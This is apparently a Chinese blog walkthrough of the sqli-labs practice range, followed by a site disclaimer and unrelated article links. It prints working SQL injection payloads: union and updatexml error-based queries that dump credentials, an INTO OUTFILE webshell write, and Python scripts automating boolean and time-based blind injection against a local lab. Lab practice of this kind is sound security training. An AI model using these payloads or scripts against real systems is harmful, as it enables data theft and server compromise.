渗透小游戏,各个关卡的渗透实例---步骤简单(含代码)

文章目录

    • Less-1
    • Less-2
    • Less-5
      • updatexml报错注入:
    • Less-6
    • Less-7
    • Less-8
    • Less-9
    • Less-11
    • Less-13
    • Less-15

Less-1

在这里插入图片描述
首先,可以看见该界面,该关卡主要是SQL注入,由于对用户的输入没有做过滤,使查询语句进入到了数据库中,查询到了本不应该查询到的数据
首先,如果想要进入内部,就要绕过,首先是用 ’ 绕过,当然,绕过后会有一个 ’ 空余,所以要 “- -空格”或者“–+”来注释掉,然后通过联合查询来查询到用户权限和数据库名
这里“+”号回自动转换为“空格”,所以可以用“–+”来注释,但,也因为如此,当真正想使用“+”号时,“+”号会变成“空格”,所以,但想使用“+”号时,要用“%2b”,“%2b”就是“+”号的意思。
在这里插入图片描述

?id=-1' union select 1 ,user(),database()--+

在这里插入图片描述
因为该网页代码id输入有 ’ ’ ,是字符型注入,要单,双引号闭合,所以要 ’ 来绕过。接下来,按照相同的操作,查询出列名,表明和库名,就能进行登录了

注意:一般数据库创建的时候,都会创建“information_chema”“mysql”“performance_chema”这3个库

Less-2

先看看源代码
在这里插入图片描述
这个一眼就知道,是数字型注入,不用单,双引号,所以可以直接进行注入

?id=-1 union select 1 ,user(),database()--+

在这里插入图片描述
对比上一题,少输一个 ’ ,表示不用 ’ 来绕过,直接注入就行

Less-5

先查看代码:
在这里插入图片描述
看到error,明显应该使用报错注入

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32)0x7e),1)--+

在这里插入图片描述
这里我使用updatexml报错函数来注入输出,通过错误报告来显示想要查询的信息,但是,注意:这个输出只能输出32个字节,所以想要查询到后面的数据,可以用substr函数来设置输出字段,如下图:

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64)0x7e),1)--+

updatexml报错注入:

使用有三个参数(XML_document,XPath_string,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc(XML的内容
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程(是需要update的位置XPATH路径
第三个参数:new_value,String格式,替换查找到的符合条件的数据(是更新后的内容

注意:第一,三个参数可以随便写,主要利用的还是第二个参数(第二个参数需要Xpath格式的字符串,以 “~” 开头的内容不是xml格式的语法,所以 “~” 用0x7e表示,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果一错误的方式报出,这样就可以实现报错注入了)

在这里插入图片描述

Less-6

和Less-5题还是一样的

?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

Less-7

mysql如何导出webshell,如何上传webshell:

运用outfile函数

还要3个条件,条件苛刻

1、mysql用户权限必须为root
2、必须知道网站的物理路径,使自己能够知道并访问
3、secure_file_priv为空,表示可以导到任何目录下面

但是我的secure_file_priv文件有目录,只能导入到 C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\中,不能导入到指定文件,无法复现。
在这里插入图片描述
如果正常secure_file_priv文件中没有代码的话,可以用以下代码进行导出:

?id=1')) union select 1,2,"<?php phpinfo();" into outfile "D:/phpstudy_pro/www/sqli/webshell.php";--+

其中“D:/phpstudy_pro/www/sqli/webshell.php”是我自己定义的导出路径,这个你可以根据自己喜好,自己填写要导出到哪里

Less-8

在这里插入图片描述
在这里插入图片描述
根据输入反馈的结果,可以知道,该页面只有正确时才会显示,输入错误就什么都不显示,那么就可以使用布尔盲注来解决。
这里我们可以试试自己编写脚本来完成,以下是完成截图和代码:
在这里插入图片描述

import requestsurl = 'http://127.0.0.1/sqli/Less-8/index.php'#题目Less-8的路径def inject_database(url):name = ''#存储将要输出的字符for i in range(1, 20):#输出字段的字长for j in range(32, 129):#默认显示的字符从32到127,这里我选择129,表示后续没有字符,其实写128也可以payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)#将databases里面的第一个字截取出来并转换成数值,和j(即%d,每个数字代表对应的字符)进行比较,如果等于则输出res = {"id": payload}r = requests.get(url, params=res)if "You are in..........." in r.text:name = name + chr(j)print(name)breakelse:continueinject_database(url)

这个方法是暴力破解法,用来两个循环,相对来说还是很慢的
还有一个方法,二分查找法,相对来说速度更快

import requests
def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)res = {"id": payload}r = requests.post(url, params=res)if "You are in..........." in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

当然,后续要查找其他用户,表明之类的只要改一下payload的查询就行
在这里插入图片描述
注意:查询代码过长时,要注意括号的规范,我经常因为括号多写或者少写而报错

Less-9

在这里插入图片描述
在这里插入图片描述
这一题和上一题又有些不同,他无论输入对还是错都只显示一个页面,对于这种反馈,我们可以试试时间盲注
如果输入数据正确,则沉睡3秒或1秒(自己定义沉睡几秒),否则不沉睡

import time
import requests
def inject_database(url):name = ''for i in range(1, 50):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.post(url, params=res)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

基本还是差不多的代码,只不过加了个时间限制
在这里插入图片描述
这个截图无法展示,自己可以去试试,结果是在1s后运行出来的。

Less-11

在这里插入图片描述
查看源代码,发现用户名是字符串输出,那么就可以通过 ’ 绕过来获取信息
在这里插入图片描述
输入:a' union select 1,user()#查询用户权限
在这里插入图片描述
成功查到是root权限

查其他的也行,同样的在用户名输入界面更改代码就行

a' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' --+

在这里插入图片描述

Less-13

在这里插入图片描述
其实这个和之前的一样,输入错误的话会有报错,那么就可以用报错注入

a') and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

在这里插入图片描述

Less-15

在这里插入图片描述
登录成功和失败都只返回图片
还是编写脚本来试试看:

import requestsurl = 'http://127.0.0.1/sqli/Less-15/index.php'def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:data = {"uname": "admin' and ascii(substr(database(), %d, 1)) > %d#" % (i, mid), "passwd": "aaaaaa"}r = requests.post(url, data=data)if "flag.jpg" in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

可以成功获得结果
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/392647.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

springboot电影院线上购票系统-计算机毕业设计源码68220

目录 摘要 1 绪论 1.1 选题背景与意义 1.2国内外研究现状 1.3论文结构与章节安排 2系统分析 2.1.1 技术可行性分析 2.1.2 经济可行性分析 2.1.3 法律可行性分析 2.2 系统流程分析 2.2.1 添加信息流程 2.2.2 修改信息流程 2.2.3 删除信息流程 2.3 系统功能分析 2.…

synchronized 与 Lock 的区别

synchronized 与 Lock 的区别 1、相同点2、不同点2.1 精确性与灵活性2.2 性能2.3 使用便利性 3、示例3.1 synchronized 示例3.2 Lock 示例 4、总结 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 在Java多线程编程中&#xff0c;synchroniz…

智能家居沙盘系统-智慧家居沙盘系统

智能家居和物联网技术是当前科技领域的热门话题&#xff0c;随着各类智能家居产品的不断推出&#xff0c;智能家居市场也逐渐呈现出蓬勃发展的态势。智能家居快速发展&#xff0c;而物联网相关人才供应远远不足。高校开展智能家居工程及设计人才教育培养具有重大意义。 基本介绍…

【stm32】EXTI外部中断

EXTI外部中断 1、中断系统2、中断执行流程3、STM32中断4、NVIC基本结构5、NVIC优先级分组6、EXTI简介&#xff08;引脚电平变化&#xff0c;申请中断&#xff09;7、EXTI基本结构8、AFIO复用IO口9、EXTI框图10、旋转编码器简介11、程序设计&#xff1a;1.使用对射式红外传感器触…

vue3实现商品图片放大镜效果(芋道源码yudao-cloud 二开笔记)

今天开发一个防某商城的商品图片放大镜&#xff0c;鼠标移动到图片位置时&#xff0c;右侧出现一个已放大的图片效果。 示例如下&#xff1a; 下图的图片的放大效果和小图的切换封装成了组件PicShow.vue&#xff0c;可根据需求自行修改&#xff0c;如下&#xff1a; 第一步&…

Html5总结

前端学习 html决定页面的结构css决定页面的样式js决定页面的行为 Html5 1.文本格式化标签&#xff08;熟记&#xff09; 你在网页中&#xff0c;有时需要为文字设置粗体、斜体或下划线效果&#xff0c;这时就需要用到HTML中的文本格式化标记 2.标签属性 例如&#xff1a; …

算法 —— 位运算

目录 位运算常用结论 位运算例题 位1的个数 比特位计算 汉明距离 只出现一次的数字 判定字符是否唯一 丢失的数字 两整数之和 消失的两个数字 进制转换 位运算常用结论 想详细了解位运算的内容可以阅读我的这篇博客&#xff1a;应该背下的位运算 以下我只介绍一些位…

3.特征工程-特征抽取、特征预处理、特征降维

文章目录 环境配置&#xff08;必看&#xff09;头文件引用1.数据集: sklearn代码运行结果 2.字典特征抽取: DictVectorizer代码运行结果稀疏矩阵 3.文本特征抽取(英文文本): CountVectorizer()代码运行结果 4.中文文本分词(中文文本特征抽取使用)代码运行结果 5.中文文本特征抽…

Linux基础笔记分享(超详细~)

文章目录 Linux基础1.基础概念2.基础命令命令行快捷键自动补全: tab移动光标快速删除翻看历史命令终止程序退出登录清屏 查看命令帮助alias命令别名-快捷键pwd-类似于地图cd-类似于传送术mkdir-类似于合成装备touch-创建文件ls-类似于查看装备tree-打印目录层级结构cp-复制命令…

HarmonyOS 习题(一)

1、在HarmonyOS系统架构中&#xff0c;以下哪项属于应用层? A&#xff09;AI子系统 B&#xff09;U框架 C&#xff09;电话 D&#xff09;内核 答案&#xff1a;C 解析&#xff1a; 2、在HarmonyOS系统架构中&#xff0c;以下哪项提供统一的外设访问能力和驱动的开发管理框架…

sqli-labs靶场练习(1、5-8关)

自己搭建环境啊喂...http://127.0.0.1/sqli-labs-php7-master/ 第一关 1.单引号判断是否存在注入点 /?id1 2.查询列数 ?id1 order by 3-- ?id1 order by 4-- 由此可判断有3列 3.查询用户名和密码分别在哪列 ?id-1 union select 1,2,3 -- 4.查询数据库名称为security ?…

81.SAP ME - SAP SMGW Getway Monitor

目录 1.起因 2.SMGW Displaying Logged On Clients Displaying Remote Gateways Display and Control Existing Connections Deleting a Connection Displaying Gateway Release Information Displaying Parameters and Attributes of the Gateway Change Gateway Pa…

js中的ajax【Axios,XMLHttpRequest,Promise,async】回调函数地狱等问题

目录 前置知识 1.什么是异步请求&#xff1f; 2.什么是回调函数 3.如何查看网页的异步请求&#xff08;XHR&#xff09;&#xff1f; 4.什么是ajax jquery的ajax&#xff0c;xhr&#xff0c;axios关系 正文---几种请求之间的关系 axios Axios的诞生 Axios的介绍 定义…

Idea绿色下载安装教程-最新,2024版本通用-附下载链接

插件链接&#xff1a; 脚本 Idea下载安装完成后 进入激活码输入页面&#xff0c;然后关闭IDEA 按照下面流程进行激活 1. 按照以下步骤&#xff0c;亲测可用&#xff0c;记得一定要先关闭idea 2. 选择对应软件 3.选择bin、目录对应选项 5.激活 6.成功

ROS2 Humble 学习【openEuler】

ROS2 Humble 学习 1 介绍1.1 概述1.2 ROS2 详细介绍1.3 openEuler 安装 ROS2 Humble1.4 ROS2 系统架构 2 ROS2 基础2.1 节点编写、编译、运行【简单示例】节点编写节点编译 g节点运行节点编译 make节点编译 CMakeLists.txtCMake依赖查找流程Python 依赖查找流程 2.2 节点交互、…

LeetCode | 441 | 排列硬币 | 二分查找

&#x1f64b;大家好&#xff01;我是毛毛张! &#x1f308;个人首页&#xff1a; 神马都会亿点点的毛毛张 今天分享的是LeetCode中一道标签为简单的算法题&#xff0c;本质是一道数学题 文章目录 1.题目描述2.题解2.1 公式解法2.2 暴力解法2.3 二分查找 LeetCode链接&#…

【51单片机仿真】基于51单片机设计的钟表定时闹钟系统仿真源码设计文档演示视频——完整资料下载

演示视频 设计内容 &#xff08;1&#xff09;使用 DS1302 结合字符型 LCD12864 显示器设计一个简易的定时闹钟 LCD 时钟。程序执行后 LCD 显示“00&#xff1a;00&#xff1a;00” &#xff08;2&#xff09;K1—设置现在的时间&#xff0c;年闪烁&#xff0c;再按 K1 键月闪…

15.75.【C语言】表达式求值

目录 一.整型提升 1.定义 2. 一.整型提升 1.定义 C语言中整型算术运算总是至少以缺省&#xff08;默认&#xff09;整型类型的精度来进行的。为了获得这个精度&#xff0c;表达式中的字符和短整型操作数在使用之前被转换为普通整型&#xff0c;这种转换称为整型提升 2.整型提…

njs、nginx JavaScript、在nginx上写JavaScript、nginx支持js

njs、nginx JavaScript、在nginx上写JavaScript、nginx支持js 现在是 2024-08-05 &#xff0c;在一个月前&#xff0c;我逛nginx官网&#xff0c;还没有这个模块的介绍。看njs官网&#xff0c;在四年前已经创建这个项目。不知道是不是近期才把这个项目纳入。以前不知道这模块&…

C# 构建观测者模式(或者为订阅者模型)

前言&#xff1a; 观测者模型的基本理念&#xff0c;就是&#xff0c;我有一个公共的事件&#xff0c;定义好他的事件的触发、数据接口。然后&#xff0c;通过增加订阅者&#xff08;实例&#xff09;来订阅这个事件的&#xff0c;或者说观察这个事件。如果事件发生&#xff0…